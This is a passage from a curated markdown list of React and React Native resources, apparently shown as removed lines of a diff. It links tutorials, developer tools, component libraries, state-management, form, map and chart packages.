-    -   React.js Conf 2016 Playlist
-    -   ReactRally Conf 2016 Playlist
-    -   React.js Amsterdam 2018 Playlist
-    -   Video Tutorials
--   Demo React Apps
--   Real React Apps
--   Contribution
-
-### React
-
-JavaScript Library for building User Interfaces
-
-**React General Resources**
-
--   [React Official Website](https://reactjs.org)
--   [React Documentation](https://reactjs.org/docs)
--   [React GitHub](https://github.com/facebook/react)
-
-**React Community**
-
--   [Reactiflux Discord Channel](http://www.reactiflux.com)
--   [React StackOverflow](http://stackoverflow.com/questions/tagged/reactjs)
--   [React Twitter](https://twitter.com/reactjs)
-
-**React Online Playgrounds**
-
--   [CodePen](https://reactjs.org/redirect-to-codepen/hello-world)
--   [CodeSandbox](https://codesandbox.io/s/new)
--   [JSFiddle](https://jsfiddle.net/boilerplate/react-jsx)
-
-**Another Awesome Lists**
-
--   [React/Redux Links](https://github.com/markerikson/react-redux-links)
-
-**React Tutorials**
-
-**React General Tutorials**
-
--   [React Official Tutorial](https://reactjs.org/tutorial/tutorial.html)
--   [Using React in Visual Studio Code](https://code.visualstudio.com/docs/nodejs/reactjs-tutorial)
--   [Scrimba - Learn React for free interactively](https://scrimba.com/g/glearnreact)
--   [FreeCodeCamp React Challenges](https://learn.freecodecamp.org/front-end-libraries/react)
--   [React Cheatsheet](https://devhints.io/react)
--   [React Patterns](https://reactpatterns.com)
--   [Setup Flow with React](https://flow.org/en/docs/react/)
-
-**React Hooks**
-
--   [React Hooks](https://reactjs.org/docs/hooks-intro.html)
--   [Awesome React Hooks](https://github.com/rehooks/awesome-react-hooks)
--   [Thinking in React Hooks](https://wattenberger.com/blog/react-hooks)
--   [Replacing Redux with React Hooks and Context](https://medium.com/octopus-labs-london/replacing-redux-with-react-hooks-and-context-part-1-11b72ffdb533)
--   [React Hooks cheat sheet: Unlock solutions to common problems](https://blog.logrocket.com/react-hooks-cheat-sheet-unlock-solutions-to-common-problems-af4caf699e70/)
--   [How to fetch data with React Hooks?](https://www.robinwieruch.de/react-hooks-fetch-data/)
--   [Easy to understand React Hook recipes](https://usehooks.com)
--   [React Hooks Video Tutorial](https://www.youtube.com/playlist?list=PLN3n1USn4xlmyw3ebYuZmGp60mcENitdM)
-
-**React and TypeScript**
-
--   [TypeScript, React and Webpack](https://www.typescriptlang.org/docs/handbook/react-&-webpack.html)
--   [JSX in TypeScript](https://www.typescriptlang.org/docs/handbook/jsx.html)
--   [Cheatsheets for experienced React developers getting started with TypeScript](https://github.com/typescript-cheatsheets/react-typescript-cheatsheet)
--   [React by Example](https://reactbyexample.github.io)
-
-**React Performance**
-
--   [React Optimizing Performance](https://reactjs.org/docs/optimizing-performance.html)
--   [Introducing the React Profiler](https://reactjs.org/blog/2018/09/10/introducing-the-react-profiler.html)
--   [Optimizing React: Virtual DOM explained](https://evilmartians.com/chronicles/optimizing-react-virtual-dom-explained)
--   [A Definitive Guide to Optimize Major Performance issues in React](https://www.simform.com/react-performance/)
--   [Twitter Lite and High Performance React Progressive Web Apps at Scale](https://medium.com/@paularmstrong/twitter-lite-and-high-performance-react-progressive-web-apps-at-scale-d28a00e780a3)
--   [Using the React DevTools Profiler to Diagnose React App Performance Issues](https://www.netlify.com/blog/2018/08/29/using-the-react-devtools-profiler-to-diagnose-react-app-performance-issues/)
--   [Top 5 Practices to Boost React Performance](https://www.codementor.io/blizzerand/top-5-practices-to-boost-react-performance-jv6zr89ep)
--   [React is Slow, React is Fast: Optimizing react Apps in Practice](https://medium.com/dailyjs/react-is-slow-react-is-fast-optimizing-react-apps-in-practice-394176a11fba)
--   [Rendering large lists with react-window](https://addyosmani.com/blog/react-window/)
-
-**React Internals**
-
--   [Reconciliation](https://reactjs.org/docs/reconciliation.html)
--   [React Fiber Architecture](https://github.com/acdlite/react-fiber-architecture)
--   [Build your own React](https://engineering.hexacta.com/didact-learning-how-react-works-by-building-it-from-scratch-51007984e5c5)
--   [Inside Fiber: In-depth overview of the new reconciliation algorithm in React](https://medium.com/react-in-depth/inside-fiber-in-depth-overview-of-the-new-reconciliation-algorithm-in-react-e1c04700ef6e)
--   [Entire React code base explanation by visual block schemes](https://github.com/Bogdan-Lyashenko/Under-the-hood-ReactJS)
-
-**React Interview Questions**
-
--   [13 Essential React Interview Questions](https://www.toptal.com/react/interview-questions)
--   [List of React interview Questions and Answers](https://github.com/sudheerj/reactjs-interview-questions)
--   [React Coding Challenges](https://github.com/alexgurr/react-coding-challenges/)
-
-**React Tools**
-
-**React Development Tools**
-
--   [react-devtools](https://github.com/facebook/react-devtools) - Inspection of React component hierarchy in the Chrome and Firefox Developer Tools
--   [react-hot-loader](https://github.com/gaearon/react-hot-loader) - Tweak React components in real time
--   [react-loadable](https://github.com/jamiebuilds/react-loadable) - A higher order component for loading components with promises
--   [loadable-components](https://github.com/smooth-code/loadable-components) - React code splitting made easy
--   [reactotron](https://github.com/skellock/reactotron) - A desktop app for inspecting your React and React Native projects
--   [storybook](https://github.com/storybookjs/storybook) - UI component dev & test
--   [docz](https://github.com/doczjs/docz) - Zero Config, live-reloading documentation with Markdown + JSX
--   [react-styleguidist](https://github.com/styleguidist/react-styleguidist) - Isolated React component development environment with a living style guide
--   [react-cosmos](https://github.com/react-cosmos/react-cosmos) - Dev tool for creating reusable React components
--   [eslint-plugin-react](https://github.com/yannickcr/eslint-plugin-react) - React specific linting rules for ESLint
--   [eslint-plugin-jsx-a11y](https://github.com/evcohen/eslint-plugin-jsx-a11y) - Static AST checker for a11y rules on JSX elements
--   [@axe-core/react](https://github.com/dequelabs/axe-core-npm) - Accessibility auditing for React applications
--   [DataFormsJS JSX Loader](https://github.com/dataformsjs/dataformsjs/blob/master/docs/jsx-loader.md) - Small JavaScript Compiler for quickly converting JSX to JS directly on a web page
--   [Why Did You Render](https://github.com/welldone-software/why-did-you-render) - Monkey patches React to notify you about avoidable re-renders.
--   [Divjoy](https://divjoy.com) - React codebase and UI generator to speed up development (paid)
--   [Plasmic](https://www.plasmic.app) - Powerful design tool for building your React components visually.
-
-**React Starter Kits and Toolchains**
-
--   [create-react-app](https://github.com/facebook/create-react-app) - Set up a modern Web app by running one command
--   [Razzle](https://razzlejs.org) - Build production ready React applications. Razzle is toolchain for modern static and dynamic websites and web applications
--   [Neutrino React Preset](https://neutrinojs.org/packages/react/) - `@neutrinojs/react` is a Neutrino preset that supports building React web applications
--   [react-starter-kit](https://github.com/kriasoft/react-starter-kit) - Isomorphic Web app boilerplate
--   [create-react-library](https://github.com/transitive-bullshit/create-react-library) - CLI for creating reusable, modern React libraries using Rollup and create-react-app.
--   [tsdx](https://tsdx.io) - Zero-config CLI for TypeScript package development
-
-**React Frameworks**
-
--   [next.js](https://github.com/vercel/next.js) - The React Framework
--   [gatsby.js](https://github.com/gatsbyjs/gatsby) - Free and open source framework based on React
--   [react-admin](https://github.com/marmelab/react-admin) - Frontend Framework for building B2B applications on top of REST/GraphQL APIs
--   [remix](https://remix.run) - Finally, a killer React framework from the creators of React Router
--   [Blitz](https://blitzjs.com) - The Fullstack React Framework
--   [aleph.js](https://github.com/alephjs/aleph.js) - The React Framework in Deno
-
-**React Styling**
-
--   [styled-components](https://github.com/styled-components/styled-components) - Visual primitives for the component age
--   [emotion](https://github.com/emotion-js/emotion) - Library designed for writing CSS styles with JavaScript
--   [radium](https://github.com/FormidableLabs/radium) - A toolchain for React component styling
--   [jss](https://github.com/cssinjs/jss) - Authoring tool for CSS
--   [aphrodite](https://github.com/Khan/aphrodite) - Framework-agnostic CSS-in-JS with support for server-side rendering, browser prefixing, and minimum CSS generation
-
-**React Routing**
-
--   [react-router](https://github.com/ReactTraining/react-router) - Declarative routing for React
--   [navi](https://github.com/frontarm/navi) - Declarative, asynchronous routing for React
--   [curi](https://github.com/pshrmn/curi) - JavaScript router for single-page applications
--   [reach](https://github.com/reach/router) - Next Generation Routing for React
--   [universal-router](https://github.com/kriasoft/universal-router) - A simple middleware-style router for isomorphic JavaScript web apps
--   [wouter](https://github.com/molefrog/wouter) - A minimalist-friendly \~1.3KB routing library
-
-**React Component Libraries**
-
--   [material-ui](https://github.com/mui-org/material-ui) - React components for faster and easier web development
--   [blueprint](https://github.com/palantir/blueprint) - A React-based UI toolkit for the webs
--   [Fluent UI](https://github.com/microsoft/fluentui) - A set of React components for building Microsoft web experiences
--   [react-bootstrap](https://github.com/react-bootstrap/react-bootstrap) - Bootstrap components built with React
--   [reactstrap](https://github.com/reactstrap/reactstrap) - Simple React Bootstrap 4 components
--   [ant-design](https://github.com/ant-design/ant-design) - A design system with values of Nature and Determinacy
--   [chakra-ui](https://github.com/chakra-ui/chakra-ui/) - Simple, Modular & Accessible UI Components for your React Applications
--   [semantic-ui-react](https://github.com/Semantic-Org/Semantic-UI-React) - The official Semantic-UI-React integration
--   [evergreen](https://github.com/segmentio/evergreen) - Evergreen React UI Framework by Segment
--   [grommet](https://github.com/grommet/grommet) - A react-based framework that provides accessibility, modularity, responsiveness, and theming in a tidy package
--   [rebass](https://github.com/rebassjs/rebass) - React primitive UI components built with styled-system
--   [reakit](https://github.com/reakit/reakit) - Accessible, Composable and Customizable components for React
--   [rsuite](https://github.com/rsuite/rsuite) - A suite of React components
--   [atlaskit](https://bitbucket.org/atlassian/atlaskit-mk-2) - Atlassian's official UI library, built according to the Atlassian Design Guidelines.
--   [baseweb](https://github.com/uber/baseweb) - Base Web is a foundation for initiating, evolving, and unifying web products.
--   [primereact](https://github.com/primefaces/primereact) - A complete UI Framework for React with 50+ components featuring material, bootstrap and custom themes.
--   [eui](https://github.com/elastic/eui) - Elastic UI Framework
--   [react-spectrum](https://github.com/adobe/react-spectrum) - Adobe's collection of libraries and tools that help you build adaptive, accessible, and robust user experiences
--   [ring-ui](https://github.com/JetBrains/ring-ui) - JetBrains Web UI components
--   [react-bulma-components](https://github.com/couds/react-bulma-components) - React components for Bulma framework
--   [react-bulma](https://github.com/kulakowka/react-bulma) - React.js components for Modern CSS framework based on Flexbox
--   [trunx](https://github.com/fibo/trunx) - Super Saiyan React components, son of awesome Bulma, implemented in TypeScript
--   [bumbag-ui](https://github.com/bumbag/bumbag-ui) - Build accessible & themeable React applications with your Bumbag
-
-**React Awesome Components**
-
--   [Awesome React Components list](https://github.com/brillout/awesome-react-components)
--   [react-select](https://github.com/JedWatson/react-select) - The Select Component for React
--   [react-beautiful-dnd](https://github.com/atlassian/react-beautiful-dnd) - Beautiful and accessible drag and drop for lists with React
--   [react-dnd](https://github.com/react-dnd/react-dnd) - Drag and Drop for React
--   [react-grid-layout](https://github.com/strml/react-grid-layout) - A draggable and resizable grid layout with responsive breakpoints
--   [react-table](https://github.com/tannerlinsley/react-table/) - A lightweight, fast and extendable datagrid for React
--   [react-data-grid](https://github.com/adazzle/react-data-grid) - Excel-like grid component built with React
--   [react-draggable](https://github.com/mzabriskie/react-draggable) - React draggable component
--   [react-resizable-and-movable](https://github.com/bokuweb/react-resizable-and-movable) - A resizable and draggable component for React
--   [react-resizable](https://github.com/strml/react-resizable) - A simple React component that is resizable with a handle
--   [react-resizable-box](https://github.com/bokuweb/react-resizable-box) - A resizable component for React
--   [react-searchbox-awesome](https://github.com/axmz/react-searchbox-awesome) - Minimalistic searchbox
--   [react-sortable-pane](https://github.com/bokuweb/react-sortable-pane) - A sortable and resizable pane component for React
--   [react-spaces](https://github.com/aeagle/react-spaces) - Nestable resizable, anchored, scrollable components
--   [react-dates](https://github.com/airbnb/react-dates) - An easily internationalizable, mobile-friendly datepicker library for the web
--   [react-big-calendar](https://github.com/intljusticemission/react-big-calendar) - Calendar component
--   [react-datepicker](https://github.com/Hacker0x01/react-datepicker/) - ReactJS Datepicker
--   [react-list](https://github.com/orgsync/react-list) - A versatile infinite scroll React component
--   [react-intl](https://github.com/yahoo/react-intl) - Internationalize React apps
--   [react-i18next](https://github.com/i18next/react-i18next) - Internationalization for React done right
--   [react-aria-modal](https://github.com/davidtheclark/react-aria-modal) - A fully accessible React modal
--   [react-hotkeys](https://github.com/greena13/react-hotkeys) - Declarative hotkey and focus area management for React
--   [react-keydown](https://github.com/glortho/react-keydown) - Lightweight keydown wrapper for React components
--   [react-joyride](https://github.com/gilbarbara/react-joyride) - Create guided tours for your apps
--   [react-virtualized](https://github.com/bvaughn/react-virtualized) - React components for efficiently rendering large lists and tabular data
--   [react-window](https://github.com/bvaughn/react-window) - React components for efficiently rendering large lists and tabular data
--   [react-text-mask](https://github.com/text-mask/text-mask) - Input mask for React
--   [react-loading-skeleton](https://github.com/dvtng/react-loading-skeleton) - Create skeleton screens that automatically adapt to your app
--   [react-spinkit](https://github.com/KyleAMathews/react-spinkit) - A collection of loading indicators animated with CSS for React
--   [rheostat](https://github.com/airbnb/rheostat) - Accessible slider component built with React
--   [qrcode.react](https://github.com/zpao/qrcode.react) - QR component for use with React
--   [react-archer](https://github.com/pierpo/react-archer) - Draw arrows between React elements
--   [react-pdf-viewer](https://github.com/phuoc-ng/react-pdf-viewer) - A PDF viewer made for React
--   [react-parallax-tilt](https://github.com/mkosir/react-parallax-tilt) - Easily apply tilt hover effect on React components
--   [react-popper](https://github.com/popperjs/react-popper) - Position tooltips and popovers in an elegant, performant manner
--   [react-tsparticles](https://github.com/matteobruni/tsparticles) - Easily create highly customizable particles animations
--   [react-spring](https://github.com/pmndrs/react-spring) - Spring-physics based animation library for React applications
--   [framer-motion](https://github.com/framer/motion) - A React library to power production-ready animations
--   [react-accessible-accordion](https://github.com/springload/react-accessible-accordion) - React Component for creating an 'Accordion' that adheres to the WAI ARIA spec for accessibility.
--   [react-truncate-markup](https://github.com/parsable/react-truncate-markup) - React component for truncating JSX markup.
--   [react-cookie](https://github.com/reactivestack/cookies) - Universal cookies for React
--   [react-slick](https://github.com/akiran/react-slick) - Carousel component built with React
--   [react-gtm-module](https://github.com/alinemorelli/react-gtm) - Google Tag Manager Module for React
--   [react-device-detect](https://github.com/duskload/react-device-detect) - Detect device for React
--   [react-colorful](https://github.com/omgovich/react-colorful) - A tiny (2,5 KB), dependency-free, fast and accessible color picker component
--   [react-modal](https://github.com/reactjs/react-modal) - Accessible modal dialog component for React
--   [cleave.js](https://github.com/nosir/cleave.js) - Format input text content when you are typing
--   [react-fontawesome](https://github.com/FortAwesome/react-fontawesome) - Font Awesome 5 React component
-
-**React Testing**
-
--   [jest](https://github.com/facebook/jest) - Delightful JavaScript Testing Framework
--   [enzyme](https://github.com/airbnb/enzyme) - JavaScript Testing utilities for React
--   [react-testing-library](https://github.com/testing-library/react-testing-library) - Simple and complete React DOM testing utilities
--   [react-hooks-testing-library](https://github.com/mpeyper/react-hooks-testing-library) - React hooks testing utilities that encourage good testing practices
--   [majestic](https://github.com/Raathigesh/majestic) - Zero config GUI for Jest
-
-**React Libraries**
-
--   [react-border-wrapper](https://github.com/Metroxe/react-border-wrapper) - A wrapper for placing elements along div borders in React.
--   [react-magic](https://github.com/reactjs/react-magic) - Automatically AJAXify plain HTML with the power of React
--   [react-toolbox](https://github.com/react-toolbox/react-toolbox) - A set of React components implementing Google's Material Design specification
--   [tcomb-react](https://github.com/gcanti/tcomb-react) - Library allowing you to check all the props of your React components
--   [react-responsive](https://github.com/wearefractal/react-responsive) - Media queries in react for responsive design
--   [preact](https://git.io/preact) - Fast 3kb React alternative with the same ES6 API.
--   [riotjs](https://github.com/muut/riotjs) - A React-like, 3.5KB user interface library
--   [Maple.js](https://github.com/Wildhoney/Maple.js) - Bringing the concept of web-components to React
--   [react-i13n](https://github.com/yahoo/react-i13n) - A performant, scalable and pluggable approach to instrumenting your React application
--   [react-icons](https://github.com/gorangajic/react-icons) - svg react icons of popular icon packs
--   [react-open-doodles](https://github.com/lunahq/react-open-doodles) - Awesome free illustrations as react components.
--   [Keo](https://github.com/Wildhoney/Keo) - Plain functions for a more functional Deku approach to creating React components, with functional goodies such as pipe, memoize, etc...
--   [Bit](https://github.com/teambit/bit) - A virtual repository for managing and using react and other web components across applications
--   [AtlasKit](https://atlaskit.atlassian.com) - Atlassian's React UI library
--   [ReactiveSearch](https://github.com/appbaseio/reactivesearch) - UI components library for Elasticsearch
--   [Slate](https://github.com/ianstormtaylor/slate) - A completely customizable framework for building rich text editors.
--   [react-json-schema](https://github.com/TechniqueSoftware/react-json-schema) - Construct React elements from JSON by mapping JSON definitions to React components that you expose.
--   [react-lodash](https://github.com/typicode/react-lodash) - Lodash as React components
--   [react-helmet](https://github.com/nfl/react-helmet) - A document head manager for React
--   [react-snap](https://github.com/stereobooster/react-snap) - Zero-configuration framework-agnostic static prerendering for SPAs
--   [Draft.js](https://github.com/facebook/draft-js) - A React framework for building text editors
--   [refract](https://github.com/fanduel-oss/refract) - Harness the power of reactive programming to supercharge your components
--   [react-desktop](https://github.com/gabrielbull/react-desktop) - OS X and Windows UI components built with React
--   [reapop](https://github.com/LouisBarranqueiro/reapop) - A simple and customizable React notifications system
--   [react-extras](https://github.com/sindresorhus/react-extras) - Useful components and utilities for working with React
--   [react-instantsearch](https://github.com/algolia/react-instantsearch) - Lightning-fast search for React and React Native applications, by Algolia
--   [uppy](https://github.com/transloadit/uppy) - The next open source file uploader for web browsers
--   [react-motion](https://github.com/chenglou/react-motion) - A spring that solves your animation problems
--   [react-esi](https://github.com/dunglas/react-esi) - React Edge Side Includes
--   [react-aria](https://react-spectrum.adobe.com/react-aria/index.html) - Adobe's library of React Hooks that provides accessible UI primitives for your design system
--   [react-uploady](https://github.com/rpldy/react-uploady) - Modern file-upload components & hooks for React.
-
-**React Integration**
-
--   [ReasonReact](https://reasonml.github.io/reason-react/)
--   [React Rails](https://github.com/reactjs/react-rails)
--   [ReactJS.NET](https://github.com/reactjs/React.NET)
--   [om](https://github.com/swannodette/om) - ClojureScript interface
--   [Reagent](https://github.com/reagent-project/reagent) - A minimalistic ClojureScript interface to React.js
--   [Express React views](https://github.com/reactjs/express-react-views)
--   [React Page Middleware](https://github.com/reactjs/react-page-middleware)
--   [ngReact](https://github.com/davidchang/ngReact) - React Components in Angular
--   [coffee-react-transform](https://github.com/jsdf/coffee-react-transform) - Provides React JSX support for Coffeescript
--   [sprockets-coffee-react](https://github.com/jsdf/sprockets-coffee-react) - Sprockets preprocessor for CJSX
--   [react-kup](https://github.com/snd/react-kup) - A simple, non-intrusive alternative to jsx for coffeescript
--   [turbo-react](https://github.com/ssorallen/turbo-react) - Combine Turbolinks and React to apply DOM diffs
--   [react-bacon](https://github.com/jamesmacaulay/react-bacon) - A little module for using React with Bacon.js
--   [msx](https://github.com/insin/msx) - React's JSX Transformer, tweaked to output calls to Mithril
--   [react-backbone](https://github.com/jhudson8/react-backbone) - Backbone-aware mixins for react
--   [NestedReact](https://github.com/Volicon/NestedReact/) - transparent integration with Backbone Views and NestedTypes models
--   [backbone-reaction](https://github.com/jhudson8/backbone-reaction) - React, Backbone and then some
--   [react.backbone](https://github.com/usepropeller/react.backbone) - Plugin for React to make Backbone migration easier
--   [reactbone](https://github.com/andrejewski/reactbone) - React extensions for Backbone
--   [backbone-react-ui](https://github.com/securingsincity/backbone-react-ui) - React components for use with backbone and backbone paginator
--   [react-events](https://github.com/jhudson8/react-events) - Declarative managed event bindings for react components
--   [react-mixin-manager](https://github.com/jhudson8/react-mixin-manager) - React mixin registration manager
--   [react-topcoat by @plaxdan](https://github.com/plaxdan/react-topcoat) - Topcoat CSS components built with the React library
--   [react-topcoat by @arnemart](https://github.com/arnemart/react-topcoat) - A collection of React components for Topcoat
--   [reactdown](https://github.com/andreypopp/reactdown) - Write React components using markdown syntax
--   [react-jade](https://github.com/ForbesLindesay/react-jade) - Compile Jade to React JavaScript
--   [jade-react](https://github.com/duncanbeevers/jade-react) - Compile Jade templates to React.DOM expressions
--   [gulp-jade-react](https://github.com/duncanbeevers/gulp-jade-react) - Compile Jade templates into React de-sugared JSX with Gulp
--   [sbt-reactjs](https://github.com/ddispaltro/sbt-reactjs) - React SBT Plugin using npm
--   [scalajs-react](https://github.com/japgolly/scalajs-react) - A guilty affair between Scala.js and Facebook's React
--   [react-xtags](https://github.com/vjeux/react-xtags/) - Using React to implement xtags
--   [jreact](https://github.com/KnisterPeter/jreact) - React on server-side Java (with Rhino or Nashorn)
--   [React.hiccup](https://github.com/lantiga/react.hiccup) - A complete replacement for JSX written in sweet.js
--   [react-play](https://github.com/ssorallen/react-play) - Rendering React components in the Play Framework with JDK8's Nashorn
--   [rx-react](https://github.com/fdecampredon/rx-react) - Utilities to works with React in a RxJS
--   [react-with-di](https://github.com/vojtajina/react-with-di) - A hacked prototype of React.js with DI
--   [reactfire](https://github.com/firebase/reactfire) - ReactJS mixin for easy Firebase integration
--   [react-clickdrag-mixin](https://github.com/tleunen/react-clickdrag-mixin) - ClickDrag mixin for React component
--   [react-masonry-mixin](https://github.com/eiriklv/react-masonry-mixin) - Standalone mixin for Masonry (@desandro)
--   [react-packery-mixin](https://github.com/eiriklv/react-packery-mixin) - Standalone mixin for Packery (Metafizzy)
--   [react-dropzone](https://github.com/paramaggarwal/react-dropzone) - Simple HTML5 drag-drop zone with React.js.
--   [aframe-react](https://github.com/ngokevin/aframe) - A-Frame VR + React
--   [react-three-fiber](https://github.com/react-spring/react-three-fiber) - A react reconciler for threejs (web and react-native)
--   [react-three](https://github.com/Izzimach/react-three) - React bindings to create and control a 3D scene using three.js
--   [react-three-renderer](https://github.com/toxicFork/react-three-renderer) - Render into a three.js canvas using React
--   [react-threejs](https://github.com/fritx/react-threejs) - Simplest bindings between React & Three.js
--   [react-masonry-css](https://github.com/paulcollett/react-masonry-css) - Fast Masonry layout powered by CSS, dependency free
--   [react-captcha](https://github.com/appleboy/react-recaptcha) - A react.js reCAPTCHA for Google
--   [reaptcha](https://github.com/sarneeh/reaptcha) - Clean, modern and simple React wrapper for Google reCAPTCHA
--   [react-recaptcha-that-works](https://github.com/douglasjunior/react-recaptcha-that-works) - A reCAPTCHA bridge for React that works
-
-**React State Management**
-
--   redux - Predictable State Container for JavaScript Apps
--   [mobx](https://github.com/mobxjs/mobx) - Simple, scalable state management
--   [react-query](https://github.com/tannerlinsley/react-query)
--   [flux](http://facebook.github.io/flux/) - Application architecture for building user interfaces
--   [recoil](https://github.com/facebookexperimental/Recoil) - Experimental state management library for React apps
--   [xstate-react](https://github.com/davidkpiano/xstate/tree/master/packages/xstate-react) - State machines and statecharts for the modern web
--   [zustand](https://github.com/pmndrs/zustand) - Bear necessities for state management in React
--   [easy-peasy](https://github.com/ctrlplusb/easy-peasy) - Vegetarian friendly state for React
--   [hookstate](https://github.com/avkonst/hookstate) - The simple but very powerful and incredibly fast state management for React that is based on hooks
--   [effector](https://github.com/zerobias/effector) - Fast and powerful reactive state manager
--   [reactn](https://github.com/CharlesStover/reactn) - React, but with built-in global state management
-
-**React AR and VR**
-
--   [Viro React](https://viromedia.com/viroreact/) - Platform for rapidly building AR/VR applications using React Native
-
-**React Renderers**
-
--   [react-three-fiber](https://github.com/pmndrs/react-three-fiber) - A React renderer for Three.js
--   [react-pdf](https://github.com/diegomura/react-pdf) - Create PDF files using React
--   [ink](https://github.com/vadimdemedes/ink) - React for interactive command-line apps
--   [react-blessed](https://github.com/Yomguithereal/react-blessed) - A React renderer for blessed terminal interface library
--   [react-sketchapp](https://github.com/airbnb/react-sketchapp) - Render React components to Sketch
--   [react-figma](https://github.com/react-figma/react-figma) - A React renderer for Figma
--   [react-nil](https://github.com/pmndrs/react-nil) - A react null renderer
--   [remotion](https://github.com/JonnyBurger/remotion) - Create videos programmatically in React
-
-**Forms**
-
--   [formik](https://github.com/jaredpalmer/formik) - Build forms in React, without the tears
--   [react-hook-form](https://github.com/react-hook-form/react-hook-form) - React Hooks for forms validation
--   [react-jsonschema-form](https://github.com/mozilla-services/react-jsonschema-form) - A React component for building Web forms from JSON Schema
--   [react-final-form](https://github.com/final-form/react-final-form) - High performance subscription-based form state management for React
--   [unform](https://github.com/Rocketseat/unform) - Performance-focused API for React forms
--   [formily](https://github.com/alibaba/formily) - Alibaba Group Unified Form Solution
--   [uniforms](https://github.com/vazco/uniforms) - A React library for building forms from any schema
--   [formsy-react](https://github.com/formsy/formsy-react/) - A form input builder and validator for React
--   [react-formal](https://github.com/jquense/react-formal) - Sophisticated HTML form management for React
-
-**Autocomplete**
-
--   [react-autocomplete by @rackt](https://github.com/rackt/react-autocomplete) - WAI-ARIA compliant React autocomplete (Archived, read-only)
--   [react-autosuggest by @moroshko](https://github.com/moroshko/react-autosuggest) - WAI-ARIA compliant React autosuggest component
--   [react-autocomplete by @eliseumds](https://github.com/eliseumds/react-autocomplete) - Just tasting some ReactJS + RxJS
--   [react-autocomplete by @prometheusresearch](https://github.com/prometheusresearch/react-autocomplete) - Autocomplete widget based on React
--   [instatype by @gragland](https://github.com/gragland/instatype) - Simple react autocomplete component
--   [downshift](https://github.com/paypal/downshift) - 🏎 Primitives to build simple, flexible, WAI-ARIA compliant enhanced input React components
--   [React Bootstrap Typeahead](https://github.com/ericgio/react-bootstrap-typeahead) - A React-based typeahead that relies on Bootstrap for styling and was originally inspired by Twitter's typeahead.js.
-
-**Graphics**
-
--   [react-art](https://github.com/facebook/react-art) - React Bridge to the ART Drawing Library
--   [react-canvas](https://github.com/Flipboard/react-canvas) - High performance `<canvas>` rendering for React components
--   [react-famous](https://github.com/pilwon/react-famous) - Complex 3D animations UI at 60 FPS with Famo.us
--   [react-kinetic](https://github.com/freiksenet/react-kinetic) - HTML5 Canvas via KineticJS using React
--   [react-svg-morph](https://github.com/gorangajic/react-svg-morph) - morph your svg components one into another
--   [react-hooks-svgdrawing](https://github.com/kmkzt/react-hooks-svgdrawing) - SVG Drawing with React hooks
--   [react-svg-pan-zoom](https://github.com/chrvadala/react-svg-pan-zoom) - A React component that adds pan and zoom features to SVG.
-
-**Data Managing**
-
--   [immer](https://github.com/immerjs/immer) - Create the next immutable state by mutating the current one
--   [ReSub](https://github.com/Microsoft/ReSub) - A library for writing better React components and data stores
--   [immutable-js](https://github.com/immutable-js/immutable-js) - Immutable Data Collections for Javascript
--   [baobab](https://github.com/Yomguithereal/baobab) - JavaScript & TypeScript persistent and optionally immutable data tree with cursors
--   [WatermelonDB](https://github.com/Nozbe/WatermelonDB) - 🍉 Reactive & asynchronous database for powerful React and React Native apps ⚡️
--   [RxDB](https://github.com/pubkey/rxdb) - A realtime Database for JavaScript Applications
-
-**Maps**
-
--   [react-googlemaps](https://github.com/pieterv/react-googlemaps) - React interface to Google maps
--   [react-maps](https://github.com/matnel/react-maps) - A map component for React
--   [react-google-maps](https://github.com/tomchentw/react-google-maps) - React.js Google Maps integration component
--   [react-gmaps](https://github.com/MicheleBertoli/react-gmaps) - A Google Maps component for React.js
--   [react-map-gl](https://github.com/uber/react-map-gl) - A React wrapper for MapboxGL-js plus overlay API
--   [google-map-react](https://github.com/istarkov/google-map-react) - Isomorphic google map React component
--   [react-mapbox-gl](https://github.com/alex3165/react-mapbox-gl) - A mapbox-gl-js wrapper to make the API react friendly
--   [google-maps-react](https://github.com/fullstackreact/google-maps-react) - A declarative Google Map React component using React, lazy-loading dependencies, current-location finder and a test-driven approach by the Fullstack React team.
--   [react-leaflet](https://react-leaflet.js.org) - React components for Leaflet maps
--   [react-geo](https://github.com/terrestris/react-geo) - A set of geo-related components using react, antd, and ol
--   [pigeon-maps](https://github.com/mariusandra/pigeon-maps) - ReactJS maps without external dependencies
-
-**Charts**
-
--   [vx](https://github.com/airbnb/visx) - Visualization components
--   [victory](https://github.com/FormidableLabs/victory) - A collection of composable React components for building interactive data visualizations
--   [react-vis](https://github.com/uber/react-vis) - Data Visualization Components
--   [recharts](https://github.com/recharts/recharts) - Redefined chart library built with React and D3
--   [nivo](https://github.com/plouc/nivo) - Provides a rich set of data visualization components, built on top of the D3 and React libraries
--   [echarts-for-react](https://github.com/hustcc/echarts-for-react) - Apache ECharts components for React wrapper
--   [react-apexcharts](https://github.com/apexcharts/react-apexcharts) - React Component for ApexCharts
--   [chartify](https://github.com/kis/chartify) - React plugin for building charts using CSS
-
-### React Native
-
-Framework for building native apps using React
-
-**React Native General Resources**
-
--   [React Native Official Site](https://facebook.github.io/react-native/)
--   [React Native GitHub](https://github.com/facebook/react-native)
--   [React Native Newsletter](http://brentvatne.ca/react-native-newsletter/)
--   [React Native Playground](https://rnplay.org)
--   [React Native Awesome List](https://github.com/jondot/awesome-react-native)
--   [React Native StackOverflow](http://stackoverflow.com/questions/tagged/react-native)
--   [React Native Radio](https://devchat.tv/react-native-radio/)
-
-**React Native Tutorials**
-
--   [React Native Tutorial](https://facebook.github.io/react-native/docs/tutorial.html)
--   [Introducing React Native: Building Apps with JavaScript](http://www.raywenderlich.com/99473/introducing-react-native-building-apps-javascript)
--   [Introduction to React Native: Building iOS Apps with JavaScript](http://www.appcoda.com/react-native-introduction/)
--   [React Native Meets Async Functions](https://medium.com/the-exponent-log/react-native-meets-async-functions-3e6f81111173)
--   [Digital Smart Mirror lab with React Native](http://atticuswhite.com/blog/react-native-smart-mirror-lab/)
--   [The Beauty Of React Native: Building Your First iOS App With JavaScript (Part 1)](https://www.smashingmagazine.com/2016/04/the-beauty-of-react-native-building-your-first-ios-app-with-javascript-part-1/)
--   [The Beauty Of React Native: Building Your First iOS App With JavaScript (Part 2)](https://www.smashingmagazine.com/2016/04/how-to-build-your-first-ios-app-with-javascript/)
--   [A Mini-Course on React Native Flexbox](https://medium.com/@yoniweisbrod/a-mini-course-on-react-native-flexbox-2832a1ccc6)
--   [A Complete Guide to Flexbox](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)
--   [Test driving react native applications](http://www.multunus.com/blog/2016/07/test-driving-react-native-applications/)
--   [Using React Native With TypeScript](https://medium.com/@jan.hesters/using-typescript-with-react-native-946aa4b4ae6f)
-
-**React Native Development Tools**
-
